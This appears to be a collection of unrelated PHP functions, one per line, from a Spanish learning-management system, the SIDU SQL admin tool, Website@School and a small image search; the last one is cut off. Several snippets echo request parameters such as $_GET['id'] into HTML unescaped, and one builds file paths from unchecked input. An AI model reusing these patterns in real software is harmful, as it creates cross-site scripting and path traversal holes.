function add_mainMenu() { $div = html_div(''); $div->add(html_br()); $table =& html_table(Session::getContextValue('mainInterfaceWidth'), 0, 0, 0); $row = html_tr(); $blank = html_td('', '', html_img(Theme::getThemeImagePath("invisible.gif"), 10, 10)); //$blank->set_tag_attribute('colspan','4'); $image = html_td('', '', html_img(Theme::getThemeImagePath("invisible.gif"), 20, 14)); $image->set_tag_attribute('align', 'right'); $image->set_tag_attribute('width', '40%'); $link = html_a(Util::format_URLPath("bibliography/index.php"), agt('Catálogo'), null, "_top"); $link->set_tag_attribute('class', ''); $item1 = html_td('', '', $link); $item1->set_tag_attribute('width', '20%'); $link = html_a(Util::format_URLPath("bibliography/index.php", 'status=ref'), agt('Referencias bibliográficas'), null, "_top"); $link->set_tag_attribute('class', ''); $item2 = html_td('', '', $link); $item2->set_tag_attribute('width', '20%'); $link = html_a(Util::format_URLPath("bibliography/index.php", 'status=link'), agt('Enlaces de interés'), null, "_top"); $link->set_tag_attribute('class', ''); $item3 = html_td('', '', $link); $item3->set_tag_attribute('width', '20%'); $row->add($blank); $row->add($image); $row->add($item1); $row->add($item2); $row->add($item3); $table->add_row($row); $div->add($table); return $div; }
function add_mainMenu() { $div = html_div(''); $div->add(html_br()); $table =& html_table(Session::getContextValue('mainInterfaceWidth'), 0, 0, 0); $row = html_tr(); $blank = html_td('', '', html_img(Theme::getThemeImagePath("invisible.gif"), 10, 10)); //$blank->set_tag_attribute('colspan','4'); $image = html_td('', '', html_img(Theme::getThemeImagePath("invisible.gif"), 20, 14)); $image->set_tag_attribute('align', 'right'); $image->set_tag_attribute('width', '40%'); $link = html_a(Util::format_URLPath("profileManager/index.php", 'submit=new'), agt('Nuevo perfil'), null, "_top"); $link->set_tag_attribute('class', ''); $item1 = html_td('', '', $link); $item1->set_tag_attribute('width', '20%'); /*$link = html_a(Util::format_URLPath("profileManager/index.php",'submit=del'), agt('Baja perfil'), null, "_top"); $link->set_tag_attribute('class', ''); $item2 = html_td('', '', $link); $item2->set_tag_attribute('width', '20%'); */ $row->add($blank); $row->add($image); $row->add($item1); //$row->add($item2); $table->add_row($row); $div->add($table); return $div; }
function add_mainMenu() { $div = html_div(''); $div->add(html_br()); $table =& html_table(Session::getContextValue('mainInterfaceWidth'), 0, 0, 0); $row = html_tr(); $blank = html_td('', '', html_img(Theme::getThemeImagePath("invisible.gif"), 10, 10)); //$blank->set_tag_attribute('colspan','4'); $image = html_td('', '', html_img(Theme::getThemeImagePath("invisible.gif"), 20, 14)); $image->set_tag_attribute('align', 'right'); $image->set_tag_attribute('width', '40%'); $link = html_a(Util::format_URLPath("entityManager/index.php", 'submit=new'), agt('Registrar entidad'), null, "_top"); $link->set_tag_attribute('class', ''); $item1 = html_td('', '', $link); $item1->set_tag_attribute('width', '20%'); $link = html_a(Util::format_URLPath("entityManager/index.php", 'submit=ficha entidad'), agt('Ficha entidad'), null, "_top"); $link->set_tag_attribute('class', ''); $item2 = html_td('', '', $link); $item2->set_tag_attribute('width', '20%'); $link = html_a(Util::format_URLPath("entityManager/index.php", 'submit=del&entity=' . $this->getViewVariable('id')), agt('Baja entidad'), null, "_top"); $link->set_tag_attribute('class', ''); $item3 = html_td('', '', $link); $item3->set_tag_attribute('width', '20%'); $row->add($blank); $row->add($image); $row->add($item1); $row->add($item2); $row->add($item3); $table->add_row($row); $div->add($table); return $div; }
function main() { global $SIDU; $conn = $SIDU['conn'][$SIDU[0]]; $eng = $conn[1]; echo "<div class='web'>\n\t<div class='box right hand' style='margin-left:10px' onclick=\"top.location='conn.php?cmd=quit'\">", @html_img("img/tool-exit", "", "class='vm'"), " ", @lang(2101), "</div>\n\t<div class='box right hand' style='margin-left:10px'>", @html_img("img/tool-add", "", "class='vm'"), " <a href='conn.php' target='_blank' style='text-decoration:none'>", @lang(2102), "</a></div>\n\t<div class='box left'>", @html_img("img/tool-pc", "", "class='vm'"), " <b>", @lang(2103), ":</b></div>\n\t<p class='clear' style='margin-left:40px'>"; foreach ($SIDU['conn'] as $conn) { echo "<br/><a href=", $SIDU[0] == $conn[0] ? "'#' onclick=\"top.location='conn.php?cmd=close&id={$conn['0']}'\"" : "'home.php?id={$SIDU['0']}&close={$conn['0']}'", ">", @html_img("img/tool-x", @lang(2104), "class='vm'"), "</a> ", @html_img("img/eng-{$conn['1']}", "", "class='vm'"), " <a href='./?id={$conn['0']}'", $SIDU[0] == $conn[0] ? " class='red b'" : "", " target='_blank' title='", @lang(2105), "'>", $conn[1] == "sl" ? "SQLite" : "{$conn['3']} @ {$conn['2']}", "</a>"; if ($conn[1] == 'pg' && !$conn[5]) { $conn[5] = "<i class='grey'>(5432)</i>"; } elseif ($conn[1] == 'my' && !$conn[5]) { $conn[5] = "<i class='grey'>(3306)</i>"; } elseif ($conn[1] != "sl") { $conn[5] = "({$conn['5']})"; } echo " {$conn['5']}"; if ($conn[6]) { echo " {DB=<i class='green'>{$conn['6']}</i>}"; } if ($conn[8]) { echo " {", @lang(2106), "=<i class='blue'>{$conn['8']}</i>}"; } } $ip = @SIDU_IP(); echo "<br/><br/>", @html_img("img/tool-security"), " ", $ip ? "<b class='green'>" . @lang(2107) . ": {$ip}</b>" : "<b class='red'>" . @lang(2108) . "</b>", "\n\t<br/>", @html_img("img/tool-info"), " ", @lang(2109, @array($_SERVER['REMOTE_ADDR'], "inc.page.php")), "</p>\n\t<p class='box hand' onclick=\"showHide('sidumenu')\" title='", @lang(2110), "'>", @html_img("img/sidu", "", "class='vm'"), " <b>", @lang(2111), "</b></p>\n\t<p id='sidumenu' style='display:none' class='ml30'>Additional menus not listed on tool bars"; if ($eng == 'my') { $mysql = @array("SHOW STATUS", "SHOW GRANTS", "SHOW PROCESSLIST", "FLUSH ALL", "FLUSH LOGS", "FLUSH HOSTS", "FLUSH PRIVILEGES", "FLUSH TABLES", "FLUSH STATUS", "FLUSH DES_KEY_FILE", "FLUSH QUERY CACHE", "FLUSH USER_RESOURCES", "FLUSH TABLES WITH READ LOCK"); foreach ($mysql as $v) { echo "<br/><a href='sql.php?id={$SIDU['0']}&sql={$v}'>{$v}</a>"; } } else { echo "<br/>Table relationship map--in next release"; } echo "</p>\n\t<p class='box hand' onclick=\"showHide('HK')\" title='", @lang(2110), "'>", @html_img("img/tr.gif", "", "class='vm'"), " <b>", @lang(2112), " (Fn):</b> ", @html_img("img/tool-web", "Firfox", "class='vm'"), " Alt+Shift+", @lang(2113), " ", @html_img("img/tool-web-ie", "IE", "class='vm'"), " Alt+", @lang(2114), " ", @html_img("img/tool-web-o", "Opera", "class='vm'"), " Shift+Esc\n\t\t» http://en.wikipedia.org/wiki/Access_key</p>\n\t<pre id='HK' class='ml30' style='display:none'>", @lang(2115), "\n\n</pre>\n\t<div class='box' style='margin-bottom:15px'>\n\t<span class='hand' onclick=\"showHide('thankyou')\" title='", @lang(2110), "'>", @html_img("img/tr.gif", "", "class='vm'"), " <b>", @lang(2116), "</b></span>\n\t<p class='ml30' id='thankyou' style='display:none;margin-bottom:0'>www.cross-browser.com/x/examples/drag3.php for grid drag resize\n\t</p>\n\t</div>\n\t<p class='box'><b>SQL SIDU : May You be Happy and at Ease</b><br/>土星善度:国土遍七宝,欢喜日日生;善护身口意,平等度一心。</p>\n\t", @lang(2117), " <i class='green'>http://sidu.sf.net</i><br/>", @lang(2118), ": <i class='green'>topnew@hotmail.com</i> ? subject=<i class='green'>sidu</i>\n\t</div>"; }
function navi() { global $SIDU; echo "<a href='#' title='", @lang(1701), "' onclick=\"setv('cmd','del0');dataTab.submit()\">", @html_img('img/menu-open'), "</a>", "<a href='#' title='", @lang(1702), "' onclick=\"setv('cmd','del');dataTab.submit()\">", @html_img('img/tool-del'), "</a>", "<a href='#' title='", @lang(1703), "' onclick=\"setv('cmd','del1');dataTab.submit()\">", @html_img('img/menu-close'), "</a>", "<a href='#' title='", @lang(1704), "' onclick=\"setv('cmd','delall');dataTab.submit()\">", @html_img('img/tool-flush'), "</a>"; @navi_obj($SIDU['cook'][$SIDU[0]]); echo " {$SIDU['sep']} " . @date('Y-m-d H:i:s'); }
function navi() { global $SIDU; $conn = $SIDU['conn'][$SIDU[0]]; $link = @explode(',', $_GET['id']); @init_tab($SIDU, $link, $conn); $tabs = @table2tabs($link[4], $SIDU['page']['tree']); $url = "tab.php?id={$link['0']},{$link['1']},{$link['2']},{$link['3']},{$link['4']}"; echo "<a href='exp.php?id={$SIDU['0']},{$SIDU['1']},{$SIDU['2']},{$SIDU['3']}&tab={$SIDU['4']}' ", @html_hkey("E", @lang(3701)), " onclick='xwin(this.href);return false'>", @html_img('img/tool-down'), $SIDU['page']['menuText'] ? @lang(3702) : "", "</a>"; if ($link[3] == 'r') { echo " <a href='imp.php?id={$SIDU['0']},{$SIDU['1']},{$SIDU['2']},{$SIDU['3']},{$SIDU['4']}' ", @html_hkey("I", @lang(3703)), " onclick='xwin(this.href);return false'>", @html_img('img/tool-imp'), $SIDU['page']['menuText'] ? @lang(3704) : "", "</a>\n\t\t<a href='#' title='", @lang(3738), "' onclick=\"showHide('objTool')\">", @html_img('img/tool-sys'), $SIDU['page']['menuText'] ? @lang(3705) : "", "</a>\n\t\t<a href='{$url}&objcmd=Empty' ", @html_hkey("-", @lang(3706)), " onclick=\"return confirm('", @lang(3707, $SIDU[4]), "?')\">", @html_img('img/tool-flush'), $SIDU['page']['menuText'] ? @lang(3708) : "", "</a>"; } if ($_GET['desc']) { echo " <a href='{$url}&objcmd=Drop' ", @html_hkey("X", @lang(3711)), " onclick=\"return confirm('" . @lang(3710, $SIDU[4]) . "?')\">", @html_img('img/tool-x'), $SIDU['page']['menuText'] ? @lang(3711) : "", "</a>"; } else { echo "{$SIDU['sep']}", @html_img("img/tool-eye.gif", @lang(3712), "onclick=\"showHide('trgrid');showHide('trhide');setv('gridShow',getv('gridShow')==1 ? 0 : 1)\""), "<a href='#' ", @html_hkey("Z", @lang(3713)), " onclick=\"submitForm('gridMode'," . ($SIDU['gridMode'] ? 0 : 1) . ")\">", @html_img("img/tool-grid.gif"), "</a>", "<a href='#' ", @html_hkey("S", @lang(3714)), " onclick=\"submitForm('cmd','data_save')\">", @html_img("img/tool-save"), "</a>", "<a href='#' ", @html_hkey("X", @lang(3715)), " onclick=\"submitForm('cmd','data_del')\">", @html_img("img/tool-del"), "</a>", "<a href='#' ", @html_hkey("=", @lang(3716)), " onclick='addRow()'>", @html_img("img/tool-add"), "</a>\n\t\t<input type='text' id='sidu8' value='{$SIDU['8']}' style='width:50px'/>\n\t\t<input type='text' id='sidu9' value='{$SIDU['9']}' style='width:50px' title='", @lang(3717), "'/><a href='#' ", @html_hkey("G", @lang(3718)), " onclick=\"submitForm('cmd','Go')\">", @html_img('img/tool-run'), "</a>"; if ($SIDU[9] == -1 || !$SIDU[8]) { echo @html_img("img/arr1f.gif", @lang(3719) . " Fn+[", "class='grey'"), @html_img("img/arr2b.gif", @lang(3720) . " Fn+<", "class='grey'"); } else { echo "<a href='#' ", @html_hkey("[", @lang(3719)), " onclick=\"submitForm('cmd','p1')\">", @html_img("img/arr1f.gif"), "</a><a href='#' ", @html_hkey("<", @lang(3720)), " onclick=\"submitForm('cmd','pback')\">", @html_img("img/arr2b.gif"), "</a>"; } echo "<span title='", @lang(3721, $SIDU[10]), "'>{$SIDU['10']}</span>"; if ($SIDU[9] == -1 || $SIDU[8] + $SIDU[9] >= $SIDU[10]) { echo @html_img("img/arr2n.gif", @lang(3722) . " Fn+>", "class='grey'"), @html_img("img/arr1l.gif", @lang(3723) . " Fn+]", "class='grey'"); } else { echo "<a href='#' ", @html_hkey(">", @lang(3722)), " onclick=\"submitForm('cmd','pnext')\">", @html_img("img/arr2n.gif"), "</a><a href='#' ", @html_hkey("]", @lang(3723)), " onclick=\"submitForm('cmd','plast')\">", @html_img("img/arr1l.gif"), "</a>"; } } @navi_obj($SIDU); if ($_GET['desc']) { echo " ({$SIDU['10']})"; } }
function navi() { global $SIDU; $sql = @urlencode($SIDU['RES'][$SIDU[6]][0]); echo "<a href='exp.php?id={$SIDU['0']}&sql={$sql}' ", @html_hkey("E", @lang(3101)), " onclick='xwin(this.href);return false'>", @html_img('img/tool-down'), "</a>", "<a href='sql.php?id={$SIDU['0']}&chart=sql&sql={$sql}' title='", @lang(3107), "'>", @html_img("img/tool-chart"), "</a>", "<a href='sql.php?id={$SIDU['0']}&chart=sqlV2&sql={$sql}' ", @html_hkey("D", @lang(3108)), ">", @html_img("img/tool-chartV2"), "</a>", "<a href='sql.php?id={$SIDU['0']}&chart=sqlV&sql={$sql}' ", @html_hkey("C", @lang(3102)), ">", @html_img("img/tool-chartV"), "</a>{$SIDU['sep']} {$SIDU['7']}sql ", $SIDU[8] ? "<b class='red'>{$SIDU['8']}</b>" : $SIDU[8] + 0, "err ", ($SIDU[5] > 1000 ? @round($SIDU[5] / 1000, 1) : "{$SIDU['5']}m") . "s "; if (isset($SIDU[6])) { echo " " . $SIDU['RES'][$SIDU[6]][3] . "r "; } @navi_obj($SIDU['cook'][$SIDU[0]]); echo " {$SIDU['sep']} " . @date('Y-m-d H:i:s'); }
function main() { global $SIDU; if (@substr($_FILES['fsql']['type'], 0, 4) == 'text' && $_FILES['fsql']['size'] && !$_FILES['fsql']['error']) { $file = @html8(@file_get_contents($_FILES['fsql']['tmp_name'])); } elseif ($SIDU['eng'] == 'sl') { $file = "SELECT * FROM sqlite_master\nLIMIT 10;"; } else { $file = "SELECT now();"; } echo "<textarea id='sqltxt' style='width:100%;border:0;padding:0;margin:0' spellcheck='false' cols='30' rows='2'>{$file}</textarea>\n\t<form name='sqlrun' action='sql.php?id={$_GET['id']}' target='main' method='post'>" . @html_form("hidden", "sqlcur") . @html_form("hidden", "sqlmore") . "</form>\n<script type='text/javascript'>\nwindow.onresize=gridInit;window.onload=gridInit;\nfunction gridInit(){\n\tif (self.innerHeight) h=self.innerHeight;\n\telse if (document.documentElement && document.documentElement.clientHeight) h=document.documentElement.clientHeight;//ie6\n\telse if (document.body) h=document.body.clientHeight;//other ie\n\tdocument.getElementById('sqltxt').style.height=h-35+'px';\n}\nfunction getSelectedText(box){\n\tif (box.setSelectionRange) return box.value.substring(box.selectionStart,box.selectionEnd);// Mozilla and compatible\n\telse if (document.selection) return document.selection.createRange().text;// IE and compatible\n\telse return;// Other broswers can't do it\n}\nfunction sidu_sql(mode,id){\n\tvar sql;\n\tif (mode=='r' || mode=='m') sql=getSelectedText(document.getElementById('sqltxt'));\n\tif (!sql || mode=='a') sql=getv('sqltxt');\n\tif (sql){\n\t\tdocument.sqlrun.sqlcur.value=sql;\n\t\tif (mode=='m') document.sqlrun.sqlmore.value=1;\n\t\tdocument.sqlrun.submit();\n\t\tdocument.sqlrun.sqlmore.value=0;\n\t\tdocument.getElementById('sqltxt').focus();\n\t}\n}\n</script>\n<div id='openfile' class='blobDiv' style='display:none;top:32px'><div class='web box'>", @html_img("img/tool-close.gif", @lang(3435) . " - Fn+L", "class='right' onclick=\"showHide('openfile')\""), "\n<form action='sqls.php?id={$SIDU['0']}' method='post' enctype='multipart/form-data'>\n<p><b>", @lang(3432), ":</b></p>\n<input type='file' name='fsql'/> <input type='button' name='cmd' value='", @lang(3433), "' onclick=\"showHide('openfile')\"/> <input type='submit' name='cmd' value='", @lang(3434), "'/>\n</form></div></div>"; }
function search($name) { //Search engine if (file_exists("pc/" . $name)) { html_div(100, 0, "#ffffff", 30); echo "Here is your Pokemon"; html_div_end(); html_img("http://" . $_SERVER['HTTP_HOST'] . "/pc/" . $name); } else { html_div(100, 0, "#ffffff", 30); echo "Pokemon Not Found."; html_div_end(); } }
function get_element() { $container = html_table('100%', 0, 0, 0); $row = html_tr(); $count = count($this->_data_list); for ($x = 0; $x <= $count - 1; $x++) { list($name, $value) = each($this->_data_list[$x]); $elem = container(); $elem->add($this->_get_index_element($x), html_br(), html_img($this->_img_list[$x])); $col = html_td('', '', $elem); $col->set_tag_attribute('align', 'center'); $row->add($col); } $container->add_row($row); return $container; }
function main() { global $SIDU; $opt = $SIDU['page']; $opt['pgSize'] = @ceil($opt['pgSize']); if ($opt['pgSize'] < -1 || !$opt['pgSize']) { $opt['pgSize'] = 15; } // $arr_lang = @array("cn"=>"中文","de"=>"Deutsch","en"=>"English","es"=>"Espanol","fr"=>"Francais","it"=>"Italiano"); $arr_lang = @array("cn" => "中文", "en" => "English"); echo "<div class='web'><h1 class='dot'>", @html_img("img/tool-option"), " ", @lang(2700), "</h1>"; if ($err) { echo "<p class='err'>{$err}</p>"; } echo "<form name='myform' action='option.php?id={$SIDU['0']}' method='post'><table>\n\t<tr class='bg'><td>", @lang(2701), ":</td><td>", @html_form("select", "opt[lang]", $opt['lang'], 0, "", "", $arr_lang), "</td></tr>\n\t<tr class='bg'><td>", @lang(2702), ":</td><td>", @html_form("text", "opt[pgSize]", $opt['pgSize'], 40, 3), " ", @lang(2703) . "</td></tr>\n\t<tr class='bg'><td>", @lang(2704), ":</td><td>", @html_form("text", "opt[tree]", $opt['tree'], 40, 1), " eg. _ 0...9</td></tr>\n\t<tr class='bg'><td>", @lang(2705), ":</td><td>" . @html_form("radio", "opt[sortObj]", $opt['sortObj'], "", "", "", @array(1 => @lang(2706), @lang(2707))), "</td></tr>\n\t<tr class='bg'><td>", @lang(2708), ":</td><td>" . @html_form("radio", "opt[sortData]", $opt['sortData'], "", "", "", @array(1 => @lang(2706), @lang(2707))), "</td></tr>\n\t<tr><td>", @lang(2709), ":</td><td>" . @html_form("radio", "opt[menuTextSQL]", $opt['menuTextSQL'], "", "", "", @array(@lang(2710), @lang(2711))), "</td></tr>\n\t<tr><td>", @lang(2712), ":</td><td>" . @html_form("radio", "opt[menuText]", $opt['menuText'], "", "", "", @array(@lang(2710), @lang(2711))), "</td></tr>\n\t<tr class='bg'><td>", @lang(2713), ":</td><td>" . @html_form("radio", "opt[his]", $opt['his'], "", "", "", @array(@lang(2710), @lang(2711))), "</td></tr>\n\t<tr class='bg'><td>", @lang(2714), ":</td><td>" . @html_form("radio", "opt[hisErr]", $opt['hisErr'], "", "", "", @array(@lang(2710), @lang(2711))), "</td></tr>\n\t<tr class='bg'><td>", @lang(2715), ":</td><td>" . @html_form("radio", "opt[hisSQL]", $opt['hisSQL'], "", "", "", @array(@lang(2710), @lang(2711))), "</td></tr>\n\t<tr class='bg'><td>", @lang(2716), ":</td><td>" . @html_form("radio", "opt[hisData]", $opt['hisData'], "", "", "", @array(@lang(2710), @lang(2711))), "</td></tr>\n\t<tr><td><br/>Postgres: ", @lang(2717), ":</td><td><br/>" . @html_form("radio", "opt[dataEasy]", $opt['dataEasy'], "", "", "", @array(@lang(2710), @lang(2711))), "</td></tr>\n\t<tr><td>Postgres: ", @lang(2718), ":</td><td>" . @html_form("radio", "opt[oid]", $opt['oid'], "", "", "", @array(@lang(2710), @lang(2711))), "</td></tr>\n\t<tr><td></td><td>", @html_form("submit", "cmd", @lang(2719)), "</td></tr>\n\t</table></form></div>"; }
/** output the logos of zero, one or more of the Website@School benefactors * * @param object &$output collects the html output * @param bool $text_only if TRUE do not show a graphical image * @param int $num the number of benefactors to show this time around * @param string $m margin for increased readability * @return void output added to output */ function show_benefactor_logo(&$output, $text_only = FALSE, $num = 1, $m = '') { global $CFG; static $benefactors = array(array('width' => 160, 'height' => 160, 'img' => 'anonymousdonor.gif', 'url' => 'http://websiteatschool.eu', 'alt' => 'Anonymous Donor', 'title' => 'Anonymous Donor'), array('width' => 160, 'height' => 40, 'img' => 'blindenpenning.gif', 'url' => 'http://www.blinden-penning.nl', 'alt' => 'Stichting Blinden-Penning', 'title' => 'Stichting Blinden-Penning - Fonds & recreatieve activiteiten voor slechtzienden en blinden'), array('width' => 160, 'height' => 170, 'img' => 'enablement.gif', 'url' => 'http://www.enablement.nl', 'alt' => 'Enablement', 'title' => 'Enablement'), array('width' => 160, 'height' => 40, 'img' => 'europeesplatform.gif', 'url' => 'http://www.europeesplatform.nl', 'alt' => 'Europees Platform', 'title' => 'Europees Platform - internationaliseren in onderwijs'), array('width' => 160, 'height' => 100, 'img' => 'mijnco2spoor.gif', 'url' => 'http://www.mijnco2spoor.nl', 'alt' => 'Stichting Mijn CO2 Spoor', 'title' => 'Stichting Mijn CO2 Spoor - Burgers voor een veilig en rechtvaardig klimaat'), array('width' => 160, 'height' => 80, 'img' => 'nvbs.gif', 'url' => 'http://www.nvbs.nl', 'alt' => 'Nederlandse Vereniging van Blinden en Slechtzienden', 'title' => 'Nederlandse Vereniging van Blinden en Slechtzienden - Oog voor U'), array('width' => 160, 'height' => 40, 'img' => 'rosaboekdrukker.gif', 'url' => 'http://rosaboekdrukker.net', 'alt' => 'Openbare Basisschool Rosa Boekdrukker', 'title' => 'Openbare Basisschool Rosa Boekdrukker'), array('width' => 160, 'height' => 72, 'img' => 'stkba.gif', 'url' => 'http://www.stkba.nl', 'alt' => 'Stichting KBA Nieuw West', 'title' => 'Stichting KBA Nieuw West'), array('width' => 160, 'height' => 98, 'img' => 'lemstratechniek.jpg', 'url' => 'http://www.lemstratechniek.nl', 'alt' => 'Lemstra Techniek', 'title' => 'Lemstra Techniek - elektrische schuifdeurkozijen en elektrisch schuifdeurbeslag'), array('width' => 160, 'height' => 106, 'img' => 'sidn.gif', 'url' => 'https://www.sidn.nl', 'alt' => 'SIDN', 'title' => 'Foundation for Internet Domain Registration in the Netherlands')); // 0 -- work to do at all? if ($num < 1) { return; } // 1 -- make sure we have shuffled array the first time around if (!isset($_SESSION['donor_index']) || !isset($_SESSION['donor_array'])) { $donor_array = array_keys($benefactors); for ($j = sizeof($donor_array) - 1; $j > 1; $j--) { $i = mt_rand(0, $j - 1); $k = $donor_array[$j]; $donor_array[$j] = $donor_array[$i]; $donor_array[$i] = $k; } $_SESSION['donor_array'] = $donor_array; $_SESSION['donor_index'] = 0; unset($donor_array); } $output->add_menu($m . '<h2>' . t('donors', 'admin') . '</h2>'); if ($text_only) { $output->add_menu($m . '<ul>'); $li = ' <li>'; } else { $li = ''; } for ($i = 0; $i < $num; ++$i) { $index = $_SESSION['donor_array'][$_SESSION['donor_index']++]; $benefactor = $benefactors[$index]; $_SESSION['donor_index'] = $_SESSION['donor_index'] % sizeof($_SESSION['donor_array']); $title = $benefactor['title']; if ($text_only) { $anchor = $benefactor['alt']; } else { $img_attr = array('height' => $benefactor['height'], 'width' => $benefactor['width'], 'alt' => $benefactor['alt'], 'title' => $title); $anchor = html_img($CFG->progwww_short . '/lib/donors/' . $benefactor['img'], $img_attr); } $a_params = array('target' => '_blank', 'title' => $title); $output->add_menu($m . $li . html_a($benefactor['url'], NULL, $a_params, $anchor)); } if ($text_only) { $output->add_menu($m . '</ul>'); } }
function right_block() { $ret_val = container(); $hr = html_hr(); $hr->set_tag_attribute('noshade'); $hr->set_tag_attribute('size', 2); $ret_val->add($hr); $div = html_div('ul-big'); $div->add(html_img(Util::app_URLPath('../var/themes/Miguel/image/menu/addcourse.png'), 0, 0, 0, '')); $div->add(html_b('Nuevo Curso Adicionado')); $div->add(html_br(2)); $ret_val->add($div); $div1 = html_div(); $div1->add(agt('El curso se ha adicionado correctamente en la base de datos.')); $div1->add(html_br(2)); $div1->add(agt('NOMBRE DEL CUSRSO'), ' : ', $this->getViewVariable('courseName')); $div1->add(html_br(2), agt('DESCRIPCION'), ' : ', $this->getViewVariable('courseDescription')); $div1->add(new FormProcessor(new miguel_resultNewCourseForm(), 'resultNewCourse', Util::format_URLPath('main/index.php'))); $ret_val->add($div1); return $ret_val; }
function formatCheckBox($element, $tab_index, $text, $status = '') { $this->set_form_tabindex($element, $tab_index); $cont = container(); $cont->add($this->element_form($element)); switch ($status) { case 'ok': $img = Theme::getThemeImagePath('boton_green.gif'); break; case 'ko': $img = Theme::getThemeImagePath('boton_red.gif'); break; default: $img = Theme::getThemeImagePath('invisible.gif'); } $cont->add(html_img($img)); $cont->add(html_b(agt($text))); return $cont; }
function formatCheckBox($element, $tab_index, $text, $status = '') { $this->set_form_tabindex($element, $tab_index); $row = html_tr(); $check = html_td('ptabla02', '', $this->element_form($element)); $check->set_tag_attribute('width', '1%'); switch ($status) { case 'ok': $img = Theme::getThemeImagePath('rcorrecta.gif'); break; case 'ko': $img = Theme::getThemeImagePath('rincorrecta.gif'); break; default: $img = Theme::getThemeImagePath('invisible.gif'); } $image = html_td('', '', html_img($img)); $label = html_td('ptabla01', '', agt($text)); $row->add($check); $row->add($image); $row->add($label); return $row; }
/** * Este metodo construye el formulario en sí. */ function form() { $this->initialize(); $table =& html_table($this->_width, 0, 0, 0); $table->set_class("mainInterfaceWidth"); //$table->set_style("border: 1px solid"); //$titulo = html_td('ptabla01','', agt('Ficha alumno')); //$titulo->set_tag_Attribute('colspan', '2'); //$table->add_row($titulo); //Tabla de detalle $row = html_tr(); $arr_data = $this->getViewVariable('arr_info'); //Debug::oneVar($arr_data); if ($arr_data['image'] != '') { $img = Util::main_URLPath('var/secretary/user_image/user_' . $arr_data['person_id'] . '.' . $arr_data['image']); } else { $img = Theme::getThemeImagePath("anonimo.jpg"); } $image = html_td('', '', html_img($img, 90, 118)); $image->set_tag_attribute("width", "12%"); $image->set_tag_attribute("align", "center"); $detail_table =& html_table(Session::getContextValue('mainInterfaceWidth'), 0, 0, 0); $this->add_class_row($detail_table, "Nombre"); $detail_table->add_row(html_td('ptabla02', '', agt('Apellido')), html_td('ptabla03', '', container($this->element_form("Primer Apellido"), $this->element_form("Segundo Apellido")))); //Condicionar vvvvvvvvv $label1 = $this->element_label("Usuario"); $label1->set_tag_attribute('class', 'ptabla02'); $label2 = $this->element_label("Contraseña"); $label2->set_tag_attribute('class', 'ptabla02'); if ($this->getViewVariable('status') == 'show') { $detail_table->add_row(html_td('ptabla02', '', agt('Datos de acceso')), html_td('ptabla03', '', container($label1, $this->element_form("Usuario"), $label2, $this->element_form("Contraseña")))); } $this->add_class_row($detail_table, "DNI"); $this->add_class_row($detail_table, "Dirección"); $this->add_class_row($detail_table, "Población"); $this->add_class_row($detail_table, "Provincia"); $this->add_class_row($detail_table, "Pais"); $this->add_class_row($detail_table, "Código Postal"); $row->add($image); $row->add($detail_table); $table->add($row); /* //$this->add_class_row($table,"Tratamiento"); $this->add_class_row($table,"Nombre"); //$this->add_class_row($table,"Primer Apellido"); //$this->add_class_row($table,"Segundo Apellido"); $table->add_row(html_td('ptabla02','',agt('Apellido')), html_td('ptabla03', '', container($this->element_form("Primer Apellido"), $this->element_form("Segundo Apellido")))); $this->add_class_row($table,"DNI"); //$this->add_class_row($table,"Fecha de nacimiento"); $this->add_class_row($table,"Dirección"); $this->add_class_row($table,"Población"); $this->add_class_row($table,"Provincia"); $this->add_class_row($table,"Pais"); $this->add_class_row($table,"Código Postal"); */ //$this->add_class_row($table,"Teléfono"); $table->add_row(html_td('ptabla02', '', agt('Teléfono')), html_td('ptabla03', '', container($this->element_form("Teléfono1"), $this->element_form("Teléfono2")))); $this->add_class_row($table, "Fax"); //$this->add_class_row($table,"E-mail"); $table->add_row(html_td('ptabla02', '', agt('e-mail')), html_td('ptabla03', '', container($this->element_form("E-mail1"), $this->element_form("E-mail2"), $this->element_form("E-mail3")))); $this->add_class_row($table, "Web"); if ($this->getViewVariable('status') == 'new') { $table->add_row(html_td('ptabla02', '', agt('Fotografía')), html_td('ptabla03', '', $this->element_form("imagen"))); } if ($this->getViewVariable('pid') == 3) { $table->add_row(html_td('ptabla02', '', agt('C.V.')), html_td('ptabla03', '', $this->element_form("cv_doc"))); } if ($arr_data['cv'] != '') { $link = Util::main_URLPath('var/secretary/user_cv/user_' . $arr_data['person_id'] . '.' . $arr_data['cv']); $table->add_row(html_td('ptabla02', '', agt('CV')), html_td('ptabla03', '', html_a($link, agt('Abrir'), 'titulo03a'))); } $this->add_class_row($table, "Observaciones"); //$table->add_row($this->_tableRow("Nombre de usuario")); //$table->add_row($this->_tableRow("Clave de acceso")); //$table->add_row($this->_tableRow("Clave de acceso (confirmación)")); //$table->add_row($this->_tableRow("Correo electrónico")); //$table->add_row($this->_tableRow("Tema")); //$table->add_row($this->_tableRow("Perfil de usuario")); //$table->add_row($this->_tableRow("Politica de privacidad")); $row = html_tr(); //$row->add("Politica de privacidad", "Los datos serán almacenados de forma segura y no se cederán a terceras partes."); $row->add("Politica de privacidad", "Los datos serán almacenados de forma segura y no se cederán a terceras partes."); //$table->add_row($row); $table->add_row(_HTML_SPACE, $this->element_form("Aceptar")); return $table; }
function menu_tree_cout($arr, $conn) { echo "<div id='menu'>\n<div><a id='menuRoot' title='", @lang(2401), "' onclick='showAll()'>", @html_img("img/eng-{$conn['1']}"), "</a> <a href='db.php?id={$conn['0']}' target='main'>", $conn[1] == "sl" ? "SQLite" : "{$conn['3']}@{$conn['2']}", "</a></div>"; $arr_typ = @array('r' => @lang(2404), 'v' => @lang(2405), 'f' => @lang(2406), 'p' => @lang(2407), 't' => @lang(2408), 'S' => @lang(2409)); $x = 0; $numX = count($arr); foreach ($arr as $db => $arr2) { $x++; $allNode[] = $x; $is_lastX = $x == $numX ? 'last' : ''; $strX = @html_img("img/trline{$is_lastX}.gif"); $numY = count($arr2); echo "\n<div>", @html_img("img/tr{$is_lastX}.gif", "", "id='t{$x}' onclick='showHideTree({$x})'"), @html_img("img/xdb", "DB: {$db}"), " <a href='db.php?id={$conn['0']},{$db}' target='main'>{$db}</a>", $numY && $conn[1] == 'pg' ? " ({$numY})" : "", "</div>\n<div id='p{$x}' style='display:none'>"; $y = 0; foreach ($arr2 as $sch => $arr3) { $y++; $is_lastY = $y == $numY ? 'last' : ''; $numZ = count($arr3); if ($conn[1] == 'pg') { $allNode[] = "{$x}.{$y}"; $strY = @html_img("img/trline{$is_lastY}.gif"); echo "\n\t<div>{$strX}", @html_img("img/tr{$is_lastY}.gif", "", 